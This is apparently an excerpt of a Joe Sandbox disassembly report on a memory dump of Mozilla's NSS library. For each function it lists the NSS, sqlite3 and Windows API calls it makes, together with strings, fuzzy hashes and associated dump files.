Instruction ID: 61baa99fa17096382ba63133418b06fe56d12a166b076a6e473674de3ffa805a
Opcode Fuzzy Hash: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction Fuzzy Hash: 9451B0B2804600CBCB109F26D58868AB7F4FF64319F298669DC5957F12E731F886CB91

Function 6C65DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C65DCFA

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C65DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C65DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C65DD8F

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_DestroyCertificate.NSS3(?), ref: 6C65DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C65DDB7

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 75308090a03ca7ff080c6872ac23569e8089fd4e6db1a8bfcab270df3e12f8c8
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: E521AEB6E011159BDB019EA4DD409DEB7B4AF05308B640120EC04A7751E731E925CBE9

Function 6C6E5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F72

Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED8F
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED9E
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FCC
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FF4
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6036

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction ID: 85b8e10f4464134d8304c148a1eeaba928fd1525a6f75363e819190abc4766dd
Opcode Fuzzy Hash: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction Fuzzy Hash: 8E214DF1605B04ABEB10DFB5D808BD7B7E8AB45709F104829E46A87640EB36E018CB95

Function 6C653C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6C460B,?,?), ref: 6C653CA9
EnterCriticalSection.KERNEL32(?), ref: 6C653CB9
PL_HashTableLookup.NSS3(?), ref: 6C653CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C653CD6
PR_Unlock.NSS3 ref: 6C653CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C653CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C653D03
PR_Unlock.NSS3 ref: 6C653D15

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction ID: 40711929105b53e86b35d31f1af212b21117df19df79e3feea97f50c1144fa1b
Opcode Fuzzy Hash: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction Fuzzy Hash: 2A112976E01505B7DB012A24EC458EA7AB9EB0365CB644230ED1883711FB22DD6887ED

Function 6C659C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6711C0: PR_NewLock.NSS3 ref: 6C671216

free.MOZGLUE(?), ref: 6C659E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E4E
TlsGetValue.KERNEL32 ref: 6C659EA2

Part of subcall function 6C669500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C669546

EnterCriticalSection.KERNEL32(?), ref: 6C659EB6
PR_Unlock.NSS3 ref: 6C659ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C659F18

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction ID: bf6fb96ee20f04ec27decf56e545c5e7866ffa2f4629c2568f9682be72745609
Opcode Fuzzy Hash: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction Fuzzy Hash: 2881D6B1A00601ABEB109F35DC40AAB77A5FF4534CF644529EC4987F41FB31E926C7AA

Function 6C66DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32 ref: 6C66DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C66DD0E
PK11_IsFriendly.NSS3(?), ref: 6C66DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C66DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DEA6
PR_Unlock.NSS3(?), ref: 6C66DF08

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction ID: d00dbbd56c412867d588a8067fd6faf6469e31a6d258b9f87141ad6a6c9d8780
Opcode Fuzzy Hash: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction Fuzzy Hash: 2B91E7B5A001059FDB00CF6AD880BAAB7B1BF45308F254029DC199BF51E731E916CBDB

Function 6C625FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260AB
sqlite3_config.NSS3(00000004,6C774CA4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260EB
sqlite3_config.NSS3(00000012,6C774CC4,?,?,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C626122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C626095
misuse, xrefs: 6C62609F
%s at line %d of [%.10s], xrefs: 6C6260A4

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction ID: 5360ceb3e9d9a8386c35ad17815fb830af36a3fda2fbb310bd86d8b28e21728c
Opcode Fuzzy Hash: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction Fuzzy Hash: 9BB19370E0464ACFDB05CF9DD2909AEB7F0FB1E304B158169D509AB322E730AA94DF95

Function 6C5D4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D51BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D51A5
misuse, xrefs: 6C5D51AF
%s at line %d of [%.10s], xrefs: 6C5D51B4
unable to delete/modify user-function due to active statements, xrefs: 6C5D51DF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction ID: af64a388a2ca5f424c4088241856b29a800d45edfbb198c0252b61ad341ef0ba
Opcode Fuzzy Hash: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction Fuzzy Hash: 1C71ADB160430ADBEB00CF59CD80B9A77B9FB48308F4A4524ED199BB81D331F951CBA5

Function 6C6BFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6BF165,6C78219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6BFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6C00A6

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction ID: f2a42c00d9861a02541a936d824fe086fc86be7112a926e75ffeeb0257798d95
Opcode Fuzzy Hash: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction Fuzzy Hash: DD5115B5F042559FDB108E99C8807AEB7B5FB49318F260229DD15B7B40D332AC10CBDA

Function 6C67DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C67DF37
EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
PR_Unlock.NSS3(?), ref: 6C67E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E090
PR_Unlock.NSS3(?), ref: 6C67E0AF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction ID: 9501870ea34204264d3d9f31e2d1bb77185d2a06bf5f4a601f77d91e78d6c37b
Opcode Fuzzy Hash: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction Fuzzy Hash: A5519171600600DFEB309F25D848B9A73B5FF45318F204D29E85687B91D735E968CBAA

Function 6C67BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67BD1E

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67BD8C

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C67BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE3A

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE52

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67BE61

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction ID: 65701355d5a2bd30c08e9c2690dbf44acd5858688f1522da27883a31a7e1eadf
Opcode Fuzzy Hash: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction Fuzzy Hash: C241E7B5A00210AFC720DF24DC80F9A77E4EF8A718F108968F94997711E731ED15CBAA

Function 6C69AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C69AB3E,?,?,?), ref: 6C69AC35

Part of subcall function 6C67CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C67CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C69AB3E,?,?,?), ref: 6C69AC55

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E,?,?), ref: 6C69AC70

Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E33C
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E350
Part of subcall function 6C67E300: PR_Unlock.NSS3(?), ref: 6C67E5BC
Part of subcall function 6C67E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C67E5CA
Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E5F2
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E606
Part of subcall function 6C67E300: PORT_Alloc_Util.NSS3(?), ref: 6C67E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C69AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E), ref: 6C69ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C69AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C69AD2B

Part of subcall function 6C67F360: TlsGetValue.KERNEL32(00000000,?,6C69A904,?), ref: 6C67F38B
Part of subcall function 6C67F360: EnterCriticalSection.KERNEL32(?,?,?,6C69A904,?), ref: 6C67F3A0
Part of subcall function 6C67F360: PR_Unlock.NSS3(?,?,?,?,6C69A904,?), ref: 6C67F3D3

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
